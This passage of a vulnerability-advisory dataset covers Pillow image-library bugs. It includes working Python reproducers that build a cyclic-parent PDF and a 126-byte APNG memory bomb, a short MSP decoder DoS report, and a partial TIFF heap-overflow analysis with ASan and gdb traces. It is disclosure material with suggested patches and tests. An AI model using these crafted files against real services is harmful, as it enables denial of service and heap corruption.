Reproducer \u2014 repro, 3,152 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 \"\"\"Infinite loop in PdfParser.rewrite_pages() on a cyclic /Parent chain. Appending an image to an existing PDF (im.save(fp, \"PDF\", append=True)) makes rewrite_pages() walk each original page's /Parent chain upward until a node has no /Parent. Nothing records which nodes were visited, so a /Pages node that names itself as its own /Parent keeps the walk going forever. We append a 4x4 image to two one-page PDFs that differ in one entry: control - a normal PDF -> finishes in milliseconds cyclic - the /Pages root also says /Parent 2 0 R -> never finishes A SIGALRM watchdog interrupts the append and shows the line it was stuck on. \"\"\" import io import signal import time import traceback from PIL import Image WATCHDOG_S = 5 def make_pdf(pages_root): \"\"\"Catalog (1) -> /Pages root (2) -> /Page (3), with a correct xref table.\"\"\" objects = [ b\"<>\", pages_root, b\"<>\", ] pdf = bytearray(b\"%PDF-1.4\\n\") offsets = [] for num, body in enumerate(objects, start=1): offsets.append(len(pdf)) pdf += b\"%d 0 obj\\n%s\\nendobj\\n\" % (num, body) xref_offset = len(pdf) pdf += b\"xref\\n0 4\\n0000000000 65535 f \\n\" pdf += b\"\".join(b\"%010d 00000 n \\n\" % off for off in offsets) pdf += b\"trailer\\n<>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset return bytes(pdf) class StillRunning(BaseException): pass def on_alarm(signum, frame): raise StillRunning def append_image(name, pdf): \"\"\"Append an image to `pdf`; return True if it finished before the watchdog.\"\"\" print(f\"--- {name}: {len(pdf)}-byte PDF ---\") print(pdf.decode(\"latin-1\"), end=\"\") signal.alarm(WATCHDOG_S) start = time.monotonic() try: Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True) except StillRunning as e: print(f\"[{name}] still running after {WATCHDOG_S}s, interrupted in:\") for frame in traceback.extract_tb(e.__traceback__): if \"/PIL/\" in frame.filename: print(f\" {frame.name}() {frame.filename}:{frame.lineno} {frame.line}\") return False except Exception as e: # rejecting the file is a correct, safe outcome print(f\"[{name}] raised {type(e).__name__}: {e}\") return True finally: signal.alarm(0) print(f\"[{name}] append finished in {time.monotonic() - start:.3f}s\") return True signal.signal(signal.SIGALRM, on_alarm) # Set up: the well-formed file is appended to instantly. control = make_pdf(b\"<>\") if not append_image(\"control\", control): print(\"control case did not finish; environment problem, no verdict\") print(\"OK\") raise SystemExit # Attack: the same file, except the /Pages root is its own /Parent. cyclic = make_pdf(b\"<>\") finished = append_image(\"cyclic\", cyclic) # Verify: a fixed parser finishes (or rejects the file) like the control. print(\"BUG\" if not finished else \"OK\") ```
---"}, {"id": "CVE-2026-112399", "fix_versions": ["13.0.0"], "aliases": ["GHSA-5xm2-6676-qcp9"], "description": "``` ============================================================================ APNG background disposal allocates full canvas before decompression bomb check Location: src/PIL/PngImagePlugin.py:1000 in PngImageFile._seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A 126-byte animated PNG file makes Pillow's `Image.open()` allocate and fill memory sized by the image dimensions the file claims, before Pillow's built-in check for oversized images runs. A file claiming 22000\u00d722000 pixels costs about 1.9 GB. Anyone who can get an application to open an image they supply, with default settings and no further calls such as `load()`, can cause a multi-gigabyte memory spike per file. If the claimed size exceeds the machine's free memory, the operating system kills the process outright. The bug is in `PngImageFile._seek()` in `src/PIL/PngImagePlugin.py` (around line 1000). For any APNG, `_open()` calls `self._seek(0)`. When the first `fcTL` chunk requests `OP_BACKGROUND` disposal, `_seek()` calls `Image.core.fill(self.mode, self.size)` with the full IHDR size, which allocates and zero-fills width\u00d7height\u00d74 bytes. `OP_PREVIOUS` takes the same path, because frame 0 rewrites it to `OP_BACKGROUND`. This all happens inside the plugin factory, so `Image.open()`'s `_decompression_bomb_check(im.size)` only runs after the memory has been touched. A 1\u00d71 frame rectangle passes the only checks on the way. Below available memory, the allocation is freed when `DecompressionBombError` propagates, so sustained pressure needs repeated or concurrent uploads. A 45000\u00d745000 header gets the process killed by the out-of-memory killer on an 8 GB host. The attached reproducer opens two such files that differ in one byte (`dispose_op` 0 vs 1). Both end in `DecompressionBombError`, but peak resident memory is 17 MB for the first and 1864 MB for the second. The eager fill was introduced in 5e4e0fa6ee67 (\"Use disposal settings from previous frame\", December 2020) and first shipped in 8.1.0. Two candidate patches with a regression test are attached. ## Details For an APNG whose first `fcTL` chunk requests `OP_BACKGROUND` disposal, `PngImageFile._open()` creates and zero-fills a core image of the full IHDR-declared size. This happens inside the plugin factory, i.e. before `Image.open()` gets to `_decompression_bomb_check(im.size)`, so the check that is meant to reject oversized headers without allocating anything runs only after the allocation has been made and touched. The following 126-byte file (all chunk lengths and CRCs valid) makes `Image.open(io.BytesIO(data))`, with default `MAX_IMAGE_PIXELS` and no `load()`, reach 1.86 GB resident (`ru_maxrss`) and then raise `DecompressionBombError`. The byte-identical file with `dispose_op=0` raises the same error at 17 MB. ``` IHDR width=22000 height=22000 bit_depth=8 colour_type=6 (RGBA) acTL num_frames=2 num_plays=0 fcTL seq=0 w=1 h=1 x=0 y=0 delay=1/10 dispose_op=1 (OP_BACKGROUND) blend_op=0 IDAT zlib(00 00 00 00 00) # one 1x1 RGBA scanline IEND ``` With `width=height=45000` (8.1 GB canvas) the same call attempts the full allocation: under a 4 GiB `RLIMIT_AS` it fails with `MemoryError` from the allocator instead of `DecompressionBombError`; without a cap, on an 8 GB host with no swap, the process is OOM-killed. ### Code path `Image.open()` runs the bomb check only after the plugin's constructor (and therefore `_open()`) has returned: ```python # src/PIL/Image.py:3699-3701 im = factory(fp, filename) _decompression_bomb_check(im.size) return im ``` For a plain PNG that ordering is fine: `PngImageFile._open()` only parses chunks up to the first `IDAT` and records `self._size` from `IHDR`; nothing is allocated from it. For an APNG (`acTL` seen, so `im_n_frames` is set) `_open()` additionally positions on frame 0: ```python # src/PIL/PngImagePlugin.py:845-853 if self.png.im_n_frames is not None: \u2026 self._seek(0) ``` `_seek(0)` copies `disposal` and `bbox` from the `fcTL` chunk into `self.dispose_op` / `self.dispose_extent` and then prepares the disposal image for the *next* frame eagerly, using the full image size: ```python # src/PIL/PngImagePlugin.py:991-1001 if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS: self.dispose_op = Disposal.OP_BACKGROUND self.dispose = None if self.dispose_op == Disposal.OP_PREVIOUS: \u2026 elif self.dispose_op == Disposal.OP_BACKGROUND: self.dispose = Image.core.fill(self.mode, self.size) self.dispose = self._crop(self.dispose, self.dispose_extent) ``` `Image.core.fill` is `_fill()` in `src/_imaging.c:711`, which does `ImagingNewDirty(mode, xsize, ysize)` followed by `ImagingFill()`; `ImagingFill` (`src/libImaging/Fill.c:23`) writes every row, so the whole `width*height*4` bytes become resident rather than merely reserved. `self.size` here is the IHDR size (22000\u00d722000), not the 1\u00d71 frame rectangle. The `_crop` on the next line does call `_decompression_bomb_check`, but on the `fcTL` rectangle (1\u00d71) and only after the fill has completed. Lines 991-992 rewrite `OP_PREVIOUS` to `OP_BACKGROUND` on frame 0, so `dispose_op=2` takes the same path (verified: identical 1.86 GB peak). When the first `fcTL` rectangle is large, the `_crop` copy is a second extent-sized buffer on top of the full-canvas fill, so the transient peak can reach about twice the canvas: a 13000\u00d713000 full-frame `fcTL` (below the error threshold, so `Image.open()` succeeds with only a `DecompressionBombWarning`) peaks at 1.31 GB for a 0.66 GB canvas. The only validation `chunk_fcTL` applies (`src/PIL/PngImagePlugin.py:740-745`) is that the frame rectangle fits inside the IHDR size, which a 1\u00d71 frame always does; IHDR width/height themselves are unconstrained 32-bit values at this point. Control then returns to `_open_core`, `_decompression_bomb_check((22000, 22000))` raises, and the 1.9 GB core image is released when the half-constructed `PngImageFile` is discarded. The eager full-size fill in `_seek()` was introduced in `5e4e0fa6ee67` (\"Use disposal settings from previous frame\", 2020-12-24) and first shipped in 8.1.0; before it, the `OP_BACKGROUND` fill lived in `load_end()` and could not be reached from `Image.open()`. ## Impact Any application that calls `Image.open()` on untrusted bytes with default settings \u2014 the configuration in which the decompression-bomb check is supposed to make that call cheap and safe \u2014 can be made to allocate and write an attacker-chosen amount of memory from a ~126-byte PNG upload, before any error is reported and without `load()`, frame iteration, or `LOAD_TRUNCATED_IMAGES`. The amount is set directly by the IHDR width/height (4 bytes per pixel for colour type 6): values below the host's free memory cause a transient multi-GB spike per request (\u224815,000,000\u00d7 amplification at 22000\u00d722000) that is freed when the exception propagates, so concurrent or repeated uploads are needed to sustain pressure; values above it get the worker process OOM-killed outright. PNG is accepted by essentially every upload pipeline, and the file passes `_accept` and chunk CRC checks as a well-formed APNG. This is the same class as the recent bomb-check additions for WMF (load at a different DPI), FITS, GIF and FontFile \u2014 an allocation sized from file-declared numbers on a path `_decompression_bomb_check` does not cover \u2014 but here the uncovered path is `Image.open()` itself rather than a later `load()`/`seek()`. ## Reproducing `repro` is a single Python script (no build step, no companion files). It builds two PNGs in memory, opens each one with plain `Image.open(io.BytesIO(data))` in a fresh child interpreter using default settings and no `load()`, and has each child report the exception it got and its own peak RSS (`ru_maxrss`). It needs about 2 GB of free RAM and finishes in about a second. The two files are 126 bytes each and differ in exactly one byte, the `dispose_op` of the first `fcTL` chunk: `0` (`OP_NONE`) for the control and `1` (`OP_BACKGROUND`) for the attack. Both declare IHDR 22000\u00d722000 RGBA. That is 484 Mpixel, above the 2\u00d7`MAX_IMAGE_PIXELS` error threshold, so `Image.open()` has to reject both with `DecompressionBombError`. Each chunk has a job: - The `acTL` chunk (2 frames) makes `_open()` call `_seek(0)`. - The 1\u00d71 `fcTL` rectangle passes `chunk_fcTL`'s bounds check and `_crop`'s bomb check. - The one-scanline `IDAT` ends header parsing. Expected output on this tree: ``` 126-byte APNG declaring 22000x22000 RGBA; Image.open(BytesIO(data)), defaults control dispose_op=0 OP_NONE -> DecompressionBombError peak RSS 17 MB attack dispose_op=1 OP_BACKGROUND -> DecompressionBombError peak RSS 1864 MB Image.open() touched a full 22000x22000 canvas before the bomb check ran BUG ``` Both files are rejected, but the control is rejected at interpreter size. The attack file only reaches the bomb check after `Image.core.fill(\"RGBA\", (22000, 22000))` has allocated and zero-filled about 1.9 GB. The script prints `BUG` if the attack child's peak RSS is at least 1000 MB and at least 20\u00d7 the control's, or if the attack child is killed by `SIGKILL` (for example by the OOM killer on a small host). Otherwise it prints `OK`; any other non-zero child exit is treated as a harness failure, printed with the child's output, and also ends in `OK`. With either attached patch applied, both children report about 17\u201322 MB and the script prints `OK`. The allocation grows with the header, so it can be scaled by changing `SIZE` in the script. The 45000\u00d745000 case (an 8.1 GB canvas) is covered in Details and is not part of the script. ## Suggested fix Do not build the `OP_BACKGROUND` disposal image from the declared size during `_open()`. Two alternative patches are attached; both change only `src/PIL/PngImagePlugin.py`, and both add the same regression test to `Tests/test_file_apng.py` (a 2\u00b3\u00b9\u22121 \u00d7 1 APNG built in memory with a 1\u00d71 `OP_BACKGROUND` first frame must make `Image.open()` raise `DecompressionBombError`; on the current tree the fill fails first with `MemoryError`). Attached patch 1 is the preferred fix. **Attached patch 1** moves the fill to its only point of use, the `frame > 0` branch of `_seek()` right after `self.load()` \u2014 which can only run once `Image.open()` has returned (bomb check passed) and the canvas itself has been allocated \u2014 and, as `GifImagePlugin` already does, fills only the previous frame's dispose extent instead of a full canvas that is then cropped: ```diff --- a/src/PIL/PngImagePlugin.py +++ b/src/PIL/PngImagePlugin.py @@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile): # ensure previous frame was loaded self.load() + if self.dispose_op == Disposal.OP_BACKGROUND: + # Created here rather than in the previous _seek(), so that + # nothing is allocated from the declared image size before + # the decompression bomb check in Image.open() has run. + # Only dispose the extent of the previous frame. + x0, y0, x1, y1 = self.dispose_extent + self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0)) if self.dispose: self.im.paste(self.dispose, self.dispose_extent) self._prev_im = self.im.copy() @@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile): if self._prev_im: self.dispose = self._prev_im.copy() self.dispose = self._crop(self.dispose, self.dispose_extent) - elif self.dispose_op == Disposal.OP_BACKGROUND: - self.dispose = Image.core.fill(self.mode, self.size) - self.dispose = self._crop(self.dispose, self.dispose_extent) ``` At that point `self.dispose_op` and `self.dispose_extent` still hold the previous frame's values (they are reassigned further down in `_seek`), so disposal semantics are unchanged; the `OP_PREVIOUS` copy stays eager because `load_end()` pastes into `_prev_im` in place (`src/PIL/PngImagePlugin.py:1110`). With this patch `Image.open()` allocates nothing from the declared size, including in the `DecompressionBombWarning` range. **Attached patch 2** is a smaller diff that keeps the eager disposal setup in `_seek()` and mirrors `GifImagePlugin._seek()`'s `OP_BACKGROUND` handling exactly: it computes the size of the `fcTL` rectangle (already validated by `chunk_fcTL` to lie within the image), runs `Image._decompression_bomb_check()` on it, and fills an image of only that size instead of filling `self.size` and cropping. It also narrows the `dispose_extent` annotation to `tuple[int, int, int, int]` so the bomb-check call type-checks. The trade-off is that a full-canvas first frame still allocates a bomb-checked image inside `Image.open()` \u2014 up to about 2\u00d7`MAX_IMAGE_PIXELS`\u00d74 bytes (660 MB for a 13000\u00d713000 full-frame `fcTL`, with `DecompressionBombWarning`) \u2014 and a first `fcTL` covering a canvas above the error threshold now raises `DecompressionBombError` from `_seek(0)` rather than from `Image.open()`'s own check. With either patch applied to a clean checkout, the reproducer prints `OK` and all 54 files in `Tests/images/apng/` decode byte-identically frame by frame, including after a rewind. ## The patch (1 of 2) Create the APNG OP_BACKGROUND disposal image when the next frame is sought, sized to the frame extent, not in _open() from the IHDR size Applies to `src/PIL/PngImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py index 15689476c..6e61c8b4b 100644 --- a/Tests/test_file_apng.py +++ b/Tests/test_file_apng.py @@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None: assert im.size == (128, 64) +def test_apng_dispose_op_background_decompression_bomb() -> None: + # The disposal image must not be created from the declared image size + # before the decompression bomb check in Image.open() has run. + # A canvas this wide cannot be allocated, so if it is attempted, + # a MemoryError is raised instead of a DecompressionBombError. + o16 = PngImagePlugin.o16 + o32 = PngImagePlugin.o32 + + b = BytesIO() + b.write(PngImagePlugin._MAGIC) + PngImagePlugin.putchunk(b, b\"IHDR\", o32(2**31 - 1), o32(1), b\"\\x08\\x06\\x00\\x00\\x00\") + PngImagePlugin.putchunk(b, b\"acTL\", o32(2), o32(0)) + PngImagePlugin.putchunk( + b, + b\"fcTL\", + o32(0), # sequence number + o32(1), # width + o32(1), # height + o32(0), # x offset + o32(0), # y offset + o16(1), # delay numerator + o16(10), # delay denominator + bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]), + ) + PngImagePlugin.putchunk(b, b\"IDAT\") + PngImagePlugin.putchunk(b, b\"IEND\") + + with pytest.raises(Image.DecompressionBombError): + Image.open(b) + + def test_apng_blend() -> None: with Image.open(\"Tests/images/apng/blend_op_source_solid.png\") as im: assert isinstance(im, PngImagePlugin.PngImageFile) diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py index 0eb2fd5e4..24fa587c1 100644 --- a/src/PIL/PngImagePlugin.py +++ b/src/PIL/PngImagePlugin.py @@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile): # ensure previous frame was loaded self.load() + if self.dispose_op == Disposal.OP_BACKGROUND: + # Created here rather than in the previous _seek(), so that + # nothing is allocated from the declared image size before + # the decompression bomb check in Image.open() has run. + # Only dispose the extent of the previous frame. + x0, y0, x1, y1 = self.dispose_extent + self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0)) if self.dispose: self.im.paste(self.dispose, self.dispose_extent) self._prev_im = self.im.copy() @@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile): if self._prev_im: self.dispose = self._prev_im.copy() self.dispose = self._crop(self.dispose, self.dispose_extent) - elif self.dispose_op == Disposal.OP_BACKGROUND: - self.dispose = Image.core.fill(self.mode, self.size) - self.dispose = self._crop(self.dispose, self.dispose_extent) def tell(self) -> int: return self.__frame ``` ## The patch (2 of 2) Bomb-check and fill only the fcTL extent for APNG OP_BACKGROUND disposal instead of a full IHDR-sized canvas in PngImageFile._seek() Applies to `src/PIL/PngImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py index 15689476c..6e61c8b4b 100644 --- a/Tests/test_file_apng.py +++ b/Tests/test_file_apng.py @@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None: assert im.size == (128, 64) +def test_apng_dispose_op_background_decompression_bomb() -> None: + # The disposal image must not be created from the declared image size + # before the decompression bomb check in Image.open() has run. + # A canvas this wide cannot be allocated, so if it is attempted, + # a MemoryError is raised instead of a DecompressionBombError. + o16 = PngImagePlugin.o16 + o32 = PngImagePlugin.o32 + + b = BytesIO() + b.write(PngImagePlugin._MAGIC) + PngImagePlugin.putchunk(b, b\"IHDR\", o32(2**31 - 1), o32(1), b\"\\x08\\x06\\x00\\x00\\x00\") + PngImagePlugin.putchunk(b, b\"acTL\", o32(2), o32(0)) + PngImagePlugin.putchunk( + b, + b\"fcTL\", + o32(0), # sequence number + o32(1), # width + o32(1), # height + o32(0), # x offset + o32(0), # y offset + o16(1), # delay numerator + o16(10), # delay denominator + bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]), + ) + PngImagePlugin.putchunk(b, b\"IDAT\") + PngImagePlugin.putchunk(b, b\"IEND\") + + with pytest.raises(Image.DecompressionBombError): + Image.open(b) + + def test_apng_blend() -> None: with Image.open(\"Tests/images/apng/blend_op_source_solid.png\") as im: assert isinstance(im, PngImagePlugin.PngImageFile) diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py index 0eb2fd5e4..0111a17d7 100644 --- a/src/PIL/PngImagePlugin.py +++ b/src/PIL/PngImagePlugin.py @@ -985,7 +985,7 @@ class PngImageFile(ImageFile.ImageFile): msg = \"image not found in APNG frame\" raise EOFError(msg) if dispose_extent: - self.dispose_extent: tuple[float, float, float, float] = dispose_extent + self.dispose_extent: tuple[int, int, int, int] = dispose_extent # setup frame disposal (actual disposal done when needed in the next _seek()) if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS: @@ -997,8 +997,14 @@ class PngImageFile(ImageFile.ImageFile): self.dispose = self._prev_im.copy() self.dispose = self._crop(self.dispose, self.dispose_extent) elif self.dispose_op == Disposal.OP_BACKGROUND: - self.dispose = Image.core.fill(self.mode, self.size) - self.dispose = self._crop(self.dispose, self.dispose_extent) + # only dispose the extent in this frame, rather than filling an + # image of the declared size before Image.open() has been able to + # run the decompression bomb check + x0, y0, x1, y1 = self.dispose_extent + dispose_size = (x1 - x0, y1 - y0) + + Image._decompression_bomb_check(dispose_size) + self.dispose = Image.core.fill(self.mode, dispose_size) def tell(self) -> int: return self.__frame ``` ## The reproducer
Reproducer \u2014 repro, 3,564 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 \"\"\" Image.open() on a 126-byte APNG allocates and zero-fills a full canvas of the header-declared size *before* Pillow's decompression-bomb check rejects it. We build two PNGs that are identical except for one byte, the first fcTL chunk's dispose_op: control: dispose_op = 0 (OP_NONE) attack: dispose_op = 1 (OP_BACKGROUND) Both declare 22000x22000 RGBA (484 Mpixel, above the 2 * MAX_IMAGE_PIXELS error threshold), so Image.open() must reject both with DecompressionBombError -- and that check exists precisely so the rejection is cheap. For the attack file, PngImageFile._open() -> _seek(0) first runs Image.core.fill(mode, (22000, 22000)), touching ~1.9 GB, and only then is the bomb check reached. Each file is opened in a fresh interpreter that reports its own peak RSS. \"\"\" import struct import subprocess import sys import zlib SIZE = 22000 # 22000 * 22000 * 4 bytes = 1.94 GB canvas def chunk(cid, data): crc = zlib.crc32(cid + data) return struct.pack(\">I\", len(data)) + cid + data + struct.pack(\">I\", crc) def build_apng(dispose_op): ihdr = struct.pack(\">IIBBBBB\", SIZE, SIZE, 8, 6, 0, 0, 0) # 8-bit RGBA actl = struct.pack(\">II\", 2, 0) # animated: 2 frames -> _open() calls _seek(0) # frame 0: seq 0, a 1x1 rectangle at (0,0) (passes fcTL's bounds check), # delay 1/10 s, the dispose_op under test, blend_op 0 fctl = struct.pack(\">IIIIIHHBB\", 0, 1, 1, 0, 0, 1, 10, dispose_op, 0) idat = zlib.compress(b\"\\x00\" + b\"\\x00\\x00\\x00\\x00\") # one 1x1 RGBA scanline return (b\"\\x89PNG\\r\\n\\x1a\\n\" + chunk(b\"IHDR\", ihdr) + chunk(b\"acTL\", actl) + chunk(b\"fcTL\", fctl) + chunk(b\"IDAT\", idat) + chunk(b\"IEND\", b\"\")) # What an application does with an untrusted upload: Image.open() with default # settings, no load(). Prints the outcome and this process's peak RSS in MB. OPEN_UNTRUSTED = \"\"\" import io, resource, sys from PIL import Image try: Image.open(io.BytesIO(sys.stdin.buffer.read())) outcome = \"opened\" except Exception as e: outcome = type(e).__name__ print(outcome, resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024) \"\"\" def open_in_child(data): p = subprocess.run([sys.executable, \"-c\", OPEN_UNTRUSTED], input=data, capture_output=True, timeout=60) if p.returncode == -9: # SIGKILL: OOM-killed on a small host -- also the bug return \"oom-killed(rc=-9)\", None if p.returncode != 0: # anything else is a harness failure, not evidence print(p.stdout.decode(), p.stderr.decode(), sep=\"\\n\") print(\"child failed unexpectedly (rc=%d)\" % p.returncode) print(\"OK\") sys.exit(1) outcome, peak_mb = p.stdout.split() return outcome.decode(), int(peak_mb) control = build_apng(dispose_op=0) attack = build_apng(dispose_op=1) c_outcome, c_mb = open_in_child(control) a_outcome, a_mb = open_in_child(attack) print(\"%d-byte APNG declaring %dx%d RGBA; Image.open(BytesIO(data)), defaults\" % (len(attack), SIZE, SIZE)) print(\" control dispose_op=0 OP_NONE -> %-22s peak RSS %5s MB\" % (c_outcome, c_mb)) print(\" attack dispose_op=1 OP_BACKGROUND -> %-22s peak RSS %5s MB\" % (a_outcome, a_mb)) # Expected: both rejected at roughly interpreter size. Bug: the attack file # made the \"cheap\" rejection cost a full-size canvas (or killed the process). if a_mb is None or (a_mb >= 1000 and a_mb >= 20 * c_mb): print(\"Image.open() touched a full %dx%d canvas before the bomb check ran\" % (SIZE, SIZE)) print(\"BUG\") else: print(\"OK\") ```
---"}, {"id": "CVE-2026-112892", "fix_versions": ["13.0.0"], "aliases": ["GHSA-gg2r-wvfm-q9rx"], "description": "### Summary The MSP RLE decoder expands run-length data into an in-memory buffer with no cap tied to the declared image size. A small file that passes the pixel-count check can force hundreds of megabytes or more of allocation when the application loads pixels. ### Details The MSP decoder writes each run into an unbounded `io.BytesIO` and can expand roughly 85x per run: - `src/PIL/MspImagePlugin.py:144-146` ### Impact Memory-exhaustion denial of service from a tiny crafted image in any application that loads pixels. The expansion is decoupled from the declared pixel count, so `MAX_IMAGE_PIXELS` does not bound it."}, {"id": "CVE-2026-112393", "fix_versions": ["13.0.0"], "aliases": ["GHSA-332p-7hrc-92wf"], "description": "``` ============================================================================ Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO Location: src/libImaging/TiffDecode.c:94 in _tiffWriteProc() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow can write attacker-chosen data past the end of a heap buffer when it saves a TIFF image to an in-memory destination such as `io.BytesIO` rather than to a file. The same code also copies leftover heap memory from the process into the saved file. Anyone who can supply an image to a service that opens it and re-saves it as TIFF this way can trigger this with default settings. The attached reproducer crashes the process, and the overflow could potentially be developed further, but code execution is not demonstrated here. The bug is in `_tiffWriteProc` in `src/libImaging/TiffDecode.c`. This is the write callback for the in-memory sink that Pillow gives libtiff whenever the save target has no `fileno()`. While writing the directory, libtiff seeks past the current end of data and writes tag values there. `_tiffWriteProc` sizes its `realloc()` from `state->size + size` instead of from the write position `state->loc`. As a result, the first out-of-line tag value written after that seek can run past the allocation by up to the size of the directory: 12 bytes per entry, 126 bytes in the minimal case, and 2384 bytes observed with a 331-entry directory. The overflowing bytes are the tail of a tag value taken from the uploaded file. No save options are needed, because compression and tags are inherited from the source image. The overflow does require an attacker-sized out-of-line tag to reach libtiff. That happens when the opened TIFF is saved directly (ImageDescription, DocumentName or XMP), or through an embedded ICC profile, which survives `copy()` in `im.info`. The bytes libtiff skips for alignment are never initialised, so any compressed TIFF over 64 KiB written this way also leaks one stale heap byte per padding hole. That leak needs no crafted tag. The attached reproducer builds a 131 KB PackBits TIFF and runs `Image.open(...).save(io.BytesIO(), \"TIFF\")`. Saving the same image to a file path succeeds, but the `BytesIO` save aborts with glibc's `malloc(): corrupted top size`. A second part of the script shows uninitialised heap bytes at the padding offsets of a `BytesIO` save that are zero in the file save. Saves to real files are unaffected. The defect dates to e782fe721e01 (2013) and has been present since Pillow 2.0.0. ## Details When `im.save()` writes a TIFF through libtiff to a target that has no usable `fileno()` (`io.BytesIO`, an HTTP response object, a storage backend stream), libtiff is opened with `TIFFClientOpen()` on Pillow's own in-memory sink, `_tiffWriteProc` / `_tiffSeekProc` in `src/libImaging/TiffDecode.c`. libtiff treats that sink like a file: when it writes the directory it seeks *beyond* the current end of data (to `eof + IFD size`, where the out-of-line tag values go, and one byte further after every odd-length tag value to keep offsets even) and writes there. On a real file the kernel grows the file and zero-fills the gap. The memory sink does neither correctly: 1. `_tiffWriteProc` sizes its `realloc()` from `state->size + size` instead of `state->loc + size`, so the first write after such a seek can land past the end of the new allocation \u2014 a heap buffer overflow whose content is tag data taken from the image being saved. 2. The bytes that libtiff skips are never written, and the grown region is a bare `realloc()`, so they reach the output TIFF with whatever the heap held before. Both are reachable with default settings by the ordinary \"re-encode the upload\" sequence `Image.open(upload); im.save(io.BytesIO(), \"TIFF\")` with no save options: `compression` defaults to the source file's (`src/PIL/TiffImagePlugin.py:1734`), any compression other than raw selects the libtiff writer (`:1746`), the source's `tag_v2` entries are passed through to libtiff (`:1959`), and a target without `fileno()` leaves `_fp = 0` (`:1928-1935`), i.e. the memory sink. The overflow half additionally needs an attacker-controlled out-of-line tag value of the right length to reach libtiff. With the opened `TiffImageFile` saved directly (`tag_v2` passthrough) that can be a ~64 KiB ASCII tag (269/270/271/272) or the XMP packet (tag 700, type BYTE \u2014 arbitrary bytes), and the number of tags the upload carries sets the IFD size, i.e. the overrun length (12 bytes per entry; 2384 bytes with a 331-entry IFD observed). After `convert()`/`resize()`/`thumbnail()`/`copy()` the `tag_v2` entries are gone, but `im.info[\"compression\"]` (still selecting libtiff) and `im.info[\"icc_profile\"]` survive and the ICC profile is written as tag 34675 (`:1822-1824`), an equally attacker-controlled out-of-line value: `Image.open(x).copy().save(BytesIO(), \"TIFF\")` with the payload in the ICC profile produces the identical ASan report. The stale-byte half needs no attacker tag at all. **Proof (overflow).** A 131 198-byte hand-built TIFF \u2014 mode L, 7\u00d78191, `Compression=32773` (PackBits), an `ImageDescription` of 65 535 characters \u2014 opened with `Image.open()` and saved with `im.save(io.BytesIO(), \"TIFF\")` aborts a stock build with glibc's `malloc(): corrupted top size`. The same call against an AddressSanitizer build of the C extensions reports ``` AddressSanitizer: heap-buffer-overflow ... WRITE of size 65536 #1 _tiffWriteProc src/libImaging/TiffDecode.c:115 #4 TIFFFlush #5 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1056 0 bytes to the right of 131072-byte region, allocated by realloc in _tiffWriteProc src/libImaging/TiffDecode.c:103 ``` **Proof (uninitialised bytes).** Saving one 300\u00d7300 RGB image as `compression=\"tiff_lzw\"` with four odd-length ASCII tags to a `BytesIO`, once with `MALLOC_PERTURB_=1` (glibc fills fresh allocations with 0xfe) and once with `MALLOC_PERTURB_=170` (0x55), gives two 369 463-byte TIFFs that differ in exactly 4 bytes, 0xfe vs 0x55, at offsets 369177, 369417, 369423, 369451 \u2014 the pad byte between the odd-length last strip and the IFD, and the pad byte after each odd-length tag value except the last. The same save to a filename gives byte-identical files with 0x00 there. Without any allocator tweaks, after a few 64 KB\u2013400 KB Python `bytes` objects filled with 0xa7 are created and freed, re-saving an uploaded LZW TIFF carrying ten odd-length ASCII tags yields 0xa7 at all nine pad offsets. ### Code walk-through The sink's state is `{data, size (allocated), loc (position), eof (high-water mark)}`; the encoder path starts it as a zeroed 64 KiB block (`TiffDecode.c:863`, `calloc(bufsize, 1)` with `bufsize = 64*1024`, `flrealloc = 1`). Seeking is unconstrained: ```c /* src/libImaging/TiffDecode.c:124-141 _tiffSeekProc */ case 0: state->loc = off; break; /* may exceed eof and size */ case 1: state->loc += off; break; case 2: state->loc = state->eof + off; break; ``` and writing assumes `loc <= size`: ```c /* src/libImaging/TiffDecode.c:90-117 _tiffWriteProc */ to_write = MIN(size, state->size - (tsize_t)state->loc); /* negative if loc > size */ if (state->flrealloc && size > to_write) { tsize_t newsize = state->size; while (newsize < (size + state->size)) { /* capacity target ignores loc */ \u2026 newsize += 64 * 1024; } new_data = realloc(state->data, newsize); /* tail left uninitialised */ \u2026 state->size = newsize; to_write = size; } _TIFFmemcpy((UINT8 *)state->data + state->loc, buf, to_write); /* :115 */ state->loc += (toff_t)to_write; state->eof = MAX(state->loc, state->eof); ``` A gdb trace of the sink calls during the overflowing save (stock build, breakpoints on the two procs) shows how libtiff drives it: ``` write size=63064 at loc=8 (eof=8 size=65536) strip data (PackBits re-encode: write size=2464 at loc=63072 (eof=63072 size=65536) 8 bytes/row \u00d7 8191 rows) seek off=0 whence=2 -> loc=65536 = eof = size TIFFWriteDirectory: end of data, already even seek off=4; write size=4 at loc=4 link IFD offset into header seek off=65662 whence=0 (eof=65536 size=65536) 65536 + 